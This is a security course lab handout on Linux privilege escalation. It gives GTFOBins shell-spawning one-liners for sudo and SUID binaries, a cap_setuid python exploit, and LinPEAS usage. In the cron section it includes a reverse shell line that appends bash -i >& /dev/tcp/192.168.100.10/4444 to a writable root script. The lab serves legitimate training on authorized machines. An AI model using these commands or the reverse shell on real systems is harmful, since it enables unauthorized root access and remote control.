Skip to main content

Lab 9.1: Linux Privilege Escalation

Learning Objectives​

By the end of this lab, you will be able to:

  • Enumerate a Linux system to find escalation vectors
  • Exploit misconfigured SUID/SGID binaries
  • Exploit misconfigured sudo
  • Use GTFOBins for binary exploitation
  • Exploit Linux capabilities
  • Exploit poorly secured cron jobs
  • Use LinPEAS for automation
  • Transition from standard user to root in minutes

Estimated Duration​

40 minutes

Prerequisites​

  • Linux VM (Ubuntu/Debian) or WSL
  • Standard user account
  • Access to an account with sudo (for setup)
  • Basic understanding of Linux

Professional Context​

Linux privilege escalation is essential in:

  • Penetration testing
  • CTF and competitions
  • Security auditing
  • Red Team exercises

Used after:

  • Initial exploitation (web shell, compromised SSH)
  • To gain root and full control

Escalation techniques to gain root without authorization = Computer crime.

AUTHORIZED:

  • Test VMs
  • Legal platforms (TryHackMe, HackTheBox)
  • Authorized tests

PROHIBITED:

  • Real servers without permission
  • Unauthorized escalation

Part 1: Linux Enumeration​

Essential Commands​

System information:

uname -a                # Kernel version
cat /etc/os-release     # Distribution
hostname                # Machine name
id                      # Your UID/GID
whoami                  # User name

Permissions and sudo:

sudo -l                 # Allowed sudo commands
cat /etc/sudoers        # Sudo configuration (if readable)

Typical sudo -l output:

User user1 may run the following commands on target:
    (ALL) NOPASSWD: /usr/bin/vim

CRITICAL: User can execute vim as root without a password!

Search for SUID files:

find / -perm -4000 2>/dev/null

Output:

/usr/bin/passwd
/usr/bin/sudo
/usr/bin/find        ← DANGEROUS IF MISCONFIGURED
/usr/bin/vim.basic   ← VERY DANGEROUS

Questions:

  1. What kernel version is your system using?
  2. What sudo commands can you execute?

Part 2: Sudo Exploitation​

Sudo with NOPASSWD​

If sudo -l shows:

(ALL) NOPASSWD: /usr/bin/vim

Exploitation via GTFOBins:

Visit: https://gtfobins.github.io/gtfobins/vim/

Payload:

sudo vim -c ':!/bin/bash'

Or:

sudo vim
:set shell=/bin/bash
:shell

BOOM! Root shell!

Verify:

whoami
id

Output: root

From user to root in 10 seconds!

Other Exploitable Binaries​

find:

sudo find /etc -exec /bin/bash \;

awk:

sudo awk 'BEGIN {system("/bin/bash")}'

less:

sudo less /etc/hosts
!bash

python:

sudo python -c 'import os; os.system("/bin/bash")'

Questions: 3. Did the sudo exploitation work? 4. Which binary did you exploit?

Part 3: SUID Binaries​

Finding Dangerous SUID​

Search:

find / -perm -4000 2>/dev/null

Legitimate SUID binaries (normal):

  • /usr/bin/passwd
  • /usr/bin/sudo
  • /usr/bin/su

DANGEROUS SUID binaries (if present):

  • /usr/bin/find
  • /usr/bin/vim
  • /usr/bin/python
  • /usr/bin/bash
  • /usr/bin/more
  • /usr/bin/less

If find is SUID:

/usr/bin/find /etc -exec /bin/bash -p \;

Option -p: Preserve SUID (stay root!)

Questions: 5. Which SUID binaries did you find? 6. Which are exploitable according to GTFOBins?

Part 4: Linux Capabilities​

Listing Capabilities​

getcap -r / 2>/dev/null

Typical output:

/usr/bin/python3.8 = cap_setuid+ep

cap_setuid: Allows changing UID!

Exploitation:

/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'

Root obtained!

Questions: 7. Are there any binaries with dangerous capabilities present?

Part 5: Cron Jobs​

Finding Cron Jobs​

cat /etc/crontab
ls -la /etc/cron.*
crontab -l

If cron script is writable:

echo "bash -i >& /dev/tcp/192.168.100.10/4444 0>&1" >> /path/to/cron_script.sh

Wait for execution: Root shell!

Part 6: Automation with LinPEAS​

Installation​

wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

Full automatic scan!

Output:

  • All vulnerabilities listed
  • Color-coded (red = critical)
  • Exploitation suggestions

Deliverables​

  1. Report with successful user to root escalation
  2. Method used (sudo, SUID, capabilities)
  3. Measured time for escalation
  4. Complete LinPEAS output

Conclusion​

Mastered techniques:

  • Complete Linux enumeration
  • Sudo exploitation
  • SUID exploitation
  • Capabilities
  • LinPEAS automation

Typical escalation time: 5-15 minutes with enumeration!

Lab developed as part of the Operating Systems course - MODULE 9